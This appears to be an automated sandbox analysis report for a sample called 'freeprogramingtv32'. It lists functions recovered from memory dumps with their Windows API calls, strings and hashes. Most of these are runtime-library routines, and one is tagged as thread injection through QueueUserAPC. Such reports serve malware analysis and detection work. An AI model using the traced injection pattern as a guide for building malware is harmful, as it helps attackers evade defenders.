Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Service$Status$CreateErrorLast$CloseCtrlEventHandleHandlerObjectRegisterSingleThreadWait
String ID: DPI Analog Input 9.15.45
API String ID: 3346042915-1008169544
Opcode ID: 753c8bccf627cb5353d4a294398c8736193124083ae435b11ee25f47cab8285e
Instruction ID: 1420ef795783f2c616889eaeaacfbb85f42c25b2a6fdf7f0143c9c805b11b94c
Opcode Fuzzy Hash: 753c8bccf627cb5353d4a294398c8736193124083ae435b11ee25f47cab8285e
Instruction Fuzzy Hash: D4210C70441309EBD210DF16EF49E567FB8EB85754711C03BE206B22B0D7BA0064EB6E

Function 02BA8272 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 02BA827A
_free.LIBCMT ref: 02BA8293

Part of subcall function 02BA2EB4: HeapFree.KERNEL32(00000000,00000000,?,02BA5C12,00000000,00000104,74DF0A60), ref: 02BA2EC8
Part of subcall function 02BA2EB4: GetLastError.KERNEL32(00000000,?,02BA5C12,00000000,00000104,74DF0A60), ref: 02BA2EDA

_free.LIBCMT ref: 02BA82A6
_free.LIBCMT ref: 02BA82C4
_free.LIBCMT ref: 02BA82D6
_free.LIBCMT ref: 02BA82E7
_free.LIBCMT ref: 02BA82F2
_free.LIBCMT ref: 02BA8316
RtlEncodePointer.NTDLL(0080FDF0), ref: 02BA831D
_free.LIBCMT ref: 02BA8332
_free.LIBCMT ref: 02BA8348
_free.LIBCMT ref: 02BA8370

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: 26a9d7c4cc489d8b919815922fbef8b40e44739032dc3e0068dda6004458b1a7
Instruction ID: 3d124894d8de77390aa8d97f4de1e14c67ab2e73f5e1a88807b1ef97c162caaf
Opcode Fuzzy Hash: 26a9d7c4cc489d8b919815922fbef8b40e44739032dc3e0068dda6004458b1a7
Instruction Fuzzy Hash: 1A219736D49210DFDB25AF15F8A091677E9FF897F432988AAEC44A7240C7349C95CF90

Function 0040359E Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402DE4), ref: 004035B9
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402DE4), ref: 004035CD
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402DE4), ref: 004035F9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402DE4), ref: 00403631
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402DE4), ref: 00403653
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00402DE4), ref: 0040366C
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402DE4), ref: 0040367F
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004036BD

Strings

-@, xrefs: 00403667, 00403659

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: -@
API String ID: 1823725401-2999422947
Opcode ID: d09c44be7b725e9416f1bbabc7ff939c5033ef1a694eb4ed66286c613d9d8241
Instruction ID: a052efc5f8264b04540ba139265ff63877c4dc4e75c0ae38b6650f7b3518fcca
Opcode Fuzzy Hash: d09c44be7b725e9416f1bbabc7ff939c5033ef1a694eb4ed66286c613d9d8241
Instruction Fuzzy Hash: 7A31F0B24042217EDB303F785C8883B7E9CE64574A7120D3BF542E3390E67A8E814AAD

Function 02B93423 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B93428
GetModuleHandleA.KERNEL32(KERNEL32,CancelIoEx), ref: 02B9346B
GetProcAddress.KERNEL32(00000000), ref: 02B93472
GetLastError.KERNEL32 ref: 02B93486
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 02B934D7
RtlEnterCriticalSection.NTDLL(00000018), ref: 02B934ED
RtlLeaveCriticalSection.NTDLL(00000018), ref: 02B93518

Strings

CancelIoEx, xrefs: 02B93461
KERNEL32, xrefs: 02B93466

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$AddressCompareEnterErrorExchangeH_prologHandleInterlockedLastLeaveModuleProc
String ID: CancelIoEx$KERNEL32
API String ID: 2902213904-434325024
Opcode ID: ffb7145a7bf5dce6d3d2202e91fc8dd971fdac8e030d47824a713b46e283174c
Instruction ID: 03cbc2fa9624019f7d822445da69f7536c4361cc33dd5a0cb456f8820eb9ee69
Opcode Fuzzy Hash: ffb7145a7bf5dce6d3d2202e91fc8dd971fdac8e030d47824a713b46e283174c
Instruction Fuzzy Hash: 6C316E71904205DFDB12AF64C854AAABBF9FF49310F0588EAE8169B340CBB4D900CFA1

Function 00405408 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,00403D7D,?,Microsoft Visual C++ Runtime Library,00012010,?,00406528,?,00406578,?,?,?,Runtime Error!Program: ), ref: 0040541A
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00405432
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00405443
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00405450

Strings

MessageBoxA, xrefs: 0040542C
GetActiveWindow, xrefs: 0040543D
user32.dll, xrefs: 00405415
xe@, xrefs: 00405476, 0040547A
GetLastActivePopup, xrefs: 00405445

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll$xe@
API String ID: 2238633743-4073082454
Opcode ID: c1c5459b902c6d691e26e6f6b3d5bc075fbf46770f4929c54e66e674ea662e67
Instruction ID: 002c49bf34bfddc632f277928187d9a53126bd14f393e8a72b926efab3457658
Opcode Fuzzy Hash: c1c5459b902c6d691e26e6f6b3d5bc075fbf46770f4929c54e66e674ea662e67
Instruction Fuzzy Hash: E1018431740705AFC7109FB4AD80E6B7AE9FB48791309843BB955F22A1D778C860CF69

Function 00403C59 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 00403CC6
GetStdHandle.KERNEL32(000000F4,00406528,00000000,?,00000000,00000000), ref: 00403D9C
WriteFile.KERNEL32(00000000), ref: 00403DA3

Strings

..., xrefs: 00403D18
Runtime Error!Program: , xrefs: 00403D2C
Microsoft Visual C++ Runtime Library, xrefs: 00403D72
r@, xrefs: 00403C74
<program name unknown>, xrefs: 00403CD6

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $r@
API String ID: 3784150691-1191147370
Opcode ID: d598713df4d839de7fd74915155ccdeaa4efa499b3dc35e679589c6eb5dc5418
Instruction ID: 901e413bd7d296cb1b0b97d790854a8d5494ec17f79a926850544caa0371b074
Opcode Fuzzy Hash: d598713df4d839de7fd74915155ccdeaa4efa499b3dc35e679589c6eb5dc5418
Instruction Fuzzy Hash: F831C772A04208AEEF20EF60DE49F9A776CEF45304F1004BBF545F61C1D6B8AA858A59

Function 004058D5 Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004065F4,00000001,00000000,00000000,00000103,00000001,00000000,?,004051A5,00200020,00000000,?,00000000,00000000), ref: 00405917
LCMapStringA.KERNEL32(00000000,00000100,004065F0,00000001,00000000,00000000,?,004051A5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405933
LCMapStringA.KERNEL32(00000000,?,00000000,00200020,004051A5,?,00000103,00000001,00000000,?,004051A5,00200020,00000000,?,00000000,00000000), ref: 0040597C
MultiByteToWideChar.KERNEL32(00000000,00000002,00000000,00200020,00000000,00000000,00000103,00000001,00000000,?,004051A5,00200020,00000000,?,00000000,00000000), ref: 004059B4
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,004051A5,00200020,00000000,?,00000000), ref: 00405A0C
LCMapStringW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,004051A5,00200020,00000000,?,00000000), ref: 00405A22
LCMapStringW.KERNEL32(00000000,?,004051A5,00000000,004051A5,?,?,004051A5,00200020,00000000,?,00000000), ref: 00405A55
LCMapStringW.KERNEL32(00000000,?,?,?,?,00000000,?,004051A5,00200020,00000000,?,00000000), ref: 00405ABD

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 6e7e0904aad4ffb7df7fa70090622cd283316a6a4d1fe7c3c07164d91eefa06b
Instruction ID: ad677ee5f46337090c489763c5b1535e0d4a7e7cc2f37d679e5ddd81b555dfe6
Opcode Fuzzy Hash: 6e7e0904aad4ffb7df7fa70090622cd283316a6a4d1fe7c3c07164d91eefa06b
Instruction Fuzzy Hash: 8B516C71A00609EFCF218FA5DD85A9F7FB5FB48750F14422AF911B21A0D3398921DF69

Function 02BA1550 Relevance: 10.6, APIs: 7, Instructions: 132COMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100002,00000000,00000000,BE553FAB), ref: 02BA15F0
CloseHandle.KERNEL32(00000000), ref: 02BA1605
ResetEvent.KERNEL32(00000000,BE553FAB), ref: 02BA160F
CloseHandle.KERNEL32(00000000,BE553FAB), ref: 02BA1644
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,BE553FAB), ref: 02BA16BA
CloseHandle.KERNEL32(00000000), ref: 02BA16CF

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateOpenReset
String ID:
API String ID: 1285874450-0
Opcode ID: 8ecde27bcbd2d1758bc672a8d2e98eee08170934a385746290efefd83a38811c
Instruction ID: 7746ca736ff5cbfb4ca33167ba83b96be2bdc22625018e9e68c9a62fe78de331
Opcode Fuzzy Hash: 8ecde27bcbd2d1758bc672a8d2e98eee08170934a385746290efefd83a38811c
Instruction Fuzzy Hash: 37418E71D18348AFDF21CFADC854BADBBB8EF05764F144259E819EB280D7709905CBA0

Function 02B92081 Relevance: 10.6, APIs: 7, Instructions: 116timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 02B920AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 02B920CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B920D8
InterlockedDecrement.KERNEL32(?), ref: 02B9213E
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?), ref: 02B9217A
InterlockedDecrement.KERNEL32(?), ref: 02B92187
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B921A6

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$Decrement$CompletionQueuedStatusTimerWaitable
String ID:
API String ID: 1171374749-0
Opcode ID: 1f4038ecdb1e0a4fe4746770a4f4d342c7de998b914e6e4aa02a78f083e70613
Instruction ID: a99ffdbe469d841a8949ddb5f2fde99edfab969cc7a3d2702613433c2a6b9158
Opcode Fuzzy Hash: 1f4038ecdb1e0a4fe4746770a4f4d342c7de998b914e6e4aa02a78f083e70613
Instruction Fuzzy Hash: 64414972904701AFC711DF25D884A6BBBF9EFC8654F000A6EF89693250DB30E545DFA1

Function 02BA1662 Relevance: 10.6, APIs: 7, Instructions: 107synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02BA1E10: OpenEventA.KERNEL32(00100002,00000000,?,?,?,02BA166E,?,?), ref: 02BA1E3F
Part of subcall function 02BA1E10: CloseHandle.KERNEL32(00000000,?,?,02BA166E,?,?), ref: 02BA1E54
Part of subcall function 02BA1E10: SetEvent.KERNEL32(00000000,02BA166E,?,?), ref: 02BA1E67

OpenEventA.KERNEL32(00100002,00000000,00000000,BE553FAB), ref: 02BA15F0
CloseHandle.KERNEL32(00000000), ref: 02BA1605
ResetEvent.KERNEL32(00000000,BE553FAB), ref: 02BA160F
CloseHandle.KERNEL32(00000000,BE553FAB), ref: 02BA1644
__CxxThrowException@8.LIBCMT ref: 02BA1675

Part of subcall function 02BA449A: RaiseException.KERNEL32(?,?,02B9FA92,?,?,?,?,?,?,?,02B9FA92,?,02BC0F78,?), ref: 02BA44EF

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,BE553FAB), ref: 02BA16BA
CloseHandle.KERNEL32(00000000), ref: 02BA16CF

Part of subcall function 02BA1B50: GetCurrentProcessId.KERNEL32(?), ref: 02BA1BA9

WaitForSingleObject.KERNEL32(00000000,000000FF,BE553FAB), ref: 02BA16DF

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Event$CloseHandle$Open$CreateCurrentExceptionException@8ObjectProcessRaiseResetSingleThrowWait
String ID:
API String ID: 2227236058-0
Opcode ID: a95c36c41bebc270eaae78f2e50e4d9d98743cb9219ddf0d4915e2613c12140e
Instruction ID: d95a5300788fec98495cf7d0d1e143c315dea1fc0dfa4d9a53b7dd785a0aedc3
Opcode Fuzzy Hash: a95c36c41bebc270eaae78f2e50e4d9d98743cb9219ddf0d4915e2613c12140e
Instruction Fuzzy Hash: 12317E75D18308ABDF60CBACC864BADB7B9EF05355F184199E81DEB280EB6099058B60

Function 00404618 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,00000000,?,?,00403A36), ref: 00404639
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,?,?,00403A36), ref: 0040465D
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,?,?,00403A36), ref: 00404677
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?,?,00403A36), ref: 00404738
HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,00403A36), ref: 0040474F

Strings

r@, xrefs: 00404698, 004046A1, 004046AA, 004046B2
r@, xrefs: 00404625, 00404681, 0040468A, 00404693, 0040473E

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID: r@$r@
API String ID: 714016831-1712950306
Opcode ID: 6146d640eca2786615fae02a601f05dd2cfcbd8d5d5bc8993479f9a7be96b628
Instruction ID: 6d2ae56a8b2e66d9b660bb9c1c671dd7469dd609f739855ae4ec176a3c74651c
Opcode Fuzzy Hash: 6146d640eca2786615fae02a601f05dd2cfcbd8d5d5bc8993479f9a7be96b628
Instruction Fuzzy Hash: 3531BEB0940702ABD3309F24DD44B66B7A4EB86755F11463BF265BB2D0E7B8A8418B4D

Function 02BA5CD4 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 02BA5CD4

Part of subcall function 02BA8442: RtlEncodePointer.NTDLL(00000000), ref: 02BA8445
Part of subcall function 02BA8442: __initp_misc_winsig.LIBCMT ref: 02BA8460
Part of subcall function 02BA8442: GetModuleHandleW.KERNEL32(kernel32.dll,?,02BC1578,00000008,00000003,02BC0F5C,?,00000001), ref: 02BA91C1
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 02BA91D5
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 02BA91E8
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 02BA91FB
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 02BA920E
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 02BA9221
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 02BA9234
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 02BA9247
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 02BA925A
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 02BA926D
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 02BA9280
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 02BA9293
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 02BA92A6
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 02BA92B9
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 02BA92CC
Part of subcall function 02BA8442: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 02BA92DF

__mtinitlocks.LIBCMT ref: 02BA5CD9
__mtterm.LIBCMT ref: 02BA5CE2

Part of subcall function 02BA5D4A: RtlDeleteCriticalSection.NTDLL(00000000), ref: 02BA8878
Part of subcall function 02BA5D4A: _free.LIBCMT ref: 02BA887F
Part of subcall function 02BA5D4A: RtlDeleteCriticalSection.NTDLL(02BC3978), ref: 02BA88A1

__calloc_crt.LIBCMT ref: 02BA5D07
__initptd.LIBCMT ref: 02BA5D29
GetCurrentThreadId.KERNEL32 ref: 02BA5D30

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: a781e156ada611057d263b42142a6c9f0b680b854b0195f3d9c82705bd073c82
Instruction ID: 3d54fb2f12f6d7a30c5db1b63d870cb0015e8be6fb09e8417d9743e74bc9a3fb
Opcode Fuzzy Hash: a781e156ada611057d263b42142a6c9f0b680b854b0195f3d9c82705bd073c82
Instruction Fuzzy Hash: 7CF02432D5C7111EE23836B87C3AA4E3792EF01770B600AE9F4A1CA0C4FF1199814B51

Function 02BA3404 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,?,02BA33B6,00000000), ref: 02BA341E
GetProcAddress.KERNEL32(00000000), ref: 02BA3425
RtlEncodePointer.NTDLL(00000000), ref: 02BA3431
RtlDecodePointer.NTDLL(00000001), ref: 02BA344E

Strings

combase.dll, xrefs: 02BA3419
RoInitialize, xrefs: 02BA340D

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: d69495c4a7c1d66091472475bd2f05d5bcf0f9dbead6e99ec3a9a190cf797c1b
Instruction ID: 9473e08023b4ede093ad27bf0090d842d28e27eb3b161b1d17ca0b09d1f69bef
Opcode Fuzzy Hash: d69495c4a7c1d66091472475bd2f05d5bcf0f9dbead6e99ec3a9a190cf797c1b
Instruction Fuzzy Hash: FAE0ED71DD0300ABEA125F749C89F557769BB847D6F5048B0B006E3190CFF5C0649B24

Function 02BA34D9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,02BA33F3), ref: 02BA34F3
GetProcAddress.KERNEL32(00000000), ref: 02BA34FA
RtlEncodePointer.NTDLL(00000000), ref: 02BA3505
RtlDecodePointer.NTDLL(02BA33F3), ref: 02BA3520

Strings

combase.dll, xrefs: 02BA34EE
RoUninitialize, xrefs: 02BA34E2

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 00493b114ab3f232d6cff2300805e11dddecbccb2b6fd94015fff34e98e9b815
Instruction ID: 4a60e97e411bfccb93f6cf02c0dfb49ff67fca2058200de6de7909bf3bf94e0d
Opcode Fuzzy Hash: 00493b114ab3f232d6cff2300805e11dddecbccb2b6fd94015fff34e98e9b815
Instruction Fuzzy Hash: 17E09A71DD0300ABEA225F64AC59B6577A9FB88796F200894F106B3195CBF8D1609A24

Function 02BA1E70 Relevance: 10.2, APIs: 8, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000029,BE553FAB,?,?,?,?,00000000,02BB69F8,000000FF,02BA210A), ref: 02BA1EAA
TlsSetValue.KERNEL32(00000029,02BA210A,?,?,00000000), ref: 02BA1F17
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02BA1F41
HeapFree.KERNEL32(00000000), ref: 02BA1F44

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: HeapValue$FreeProcess
String ID:
API String ID: 1812714009-0
Opcode ID: beeec67c78b59f79eb113fcd102b4b2d320ebd97846b7a5926ea11edfd82b525
Instruction ID: ceb53c0dd39f3858c7659e33ae4ba8797ec2b851ac74723c6a42275457931280
Opcode Fuzzy Hash: beeec67c78b59f79eb113fcd102b4b2d320ebd97846b7a5926ea11edfd82b525
Instruction Fuzzy Hash: 3251C2359083849FD760CF2DC898B16BBE5FB857A4F058699F85D97290D771EC00CB90

Function 02BB55C0 Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 02BB56D0
__FindPESection.LIBCMT ref: 02BB56EA

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 07ba649d96f803a5c851e254991e3c6a6c12d9df0ec961dfb6bd0bcbaa7ee4fd
Instruction ID: 3952739f7bcaebc9c6bf79584c0ae066eacc587a331165ca7ca114c26a25aa8d
Opcode Fuzzy Hash: 07ba649d96f803a5c851e254991e3c6a6c12d9df0ec961dfb6bd0bcbaa7ee4fd
Instruction Fuzzy Hash: 82A18071A006158FDB36CF29D9807FDB7A9FF48324FA846E9D8559B240E771E801CBA1

Function 00405B24 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004065F4,00000001,00000000,00000103,00000001,00000000,004051A5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405B63
GetStringTypeA.KERNEL32(00000000,00000001,004065F0,00000001,?,?,00000000,00000000,00000001), ref: 00405B7D
GetStringTypeA.KERNEL32(00000000,00000000,?,00000000,00200020,00000103,00000001,00000000,004051A5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405BB1
MultiByteToWideChar.KERNEL32(004051A5,00000002,?,00000000,00000000,00000000,00000103,00000001,00000000,004051A5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405BE9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405C3F
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405C51

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: d4209c6b3d3c9ca3d0b98124627720af5477d93fa3c81dc5f6dd6a722f71754a
Instruction ID: b73683cf29d179dc30ac0dacbc12c8afa3e963ef4805c6be7b54428ebd0f8a91
Opcode Fuzzy Hash: d4209c6b3d3c9ca3d0b98124627720af5477d93fa3c81dc5f6dd6a722f71754a
Instruction Fuzzy Hash: 1E417B71500609EFDF219F94DD86AAF7F79EB05750F10443AFA12B6290C339A960CBA9

Function 02B91C91 Relevance: 9.0, APIs: 6, Instructions: 39synchronizationthreadinjectionCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02B91CB1
CloseHandle.KERNEL32(?), ref: 02B91CBA
InterlockedExchangeAdd.KERNEL32(02BC7244,00000000), ref: 02B91CC6
TerminateThread.KERNEL32(?,00000000), ref: 02B91CD4
QueueUserAPC.KERNEL32(02B91E7C,?,00000000), ref: 02B91CE1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02B91CEC

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Wait$CloseExchangeHandleInterlockedMultipleObjectObjectsQueueSingleTerminateThreadUser
String ID:
API String ID: 1946104331-0
Opcode ID: dbd985cb0f2a4eefab4c50d5fbe483a8295bc4f393be4639e99dfb6f3c774abb
Instruction ID: 8b22e4614c3c3e2425496aee94395ba732cee764e3bded2f3689959be2894153
Opcode Fuzzy Hash: dbd985cb0f2a4eefab4c50d5fbe483a8295bc4f393be4639e99dfb6f3c774abb
Instruction Fuzzy Hash: DBF0A432550205BFDB114B99DC0DC5BFBBCEB85721B50469EF52AC3190DFB05910EB20

Function 004038A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 004038C7
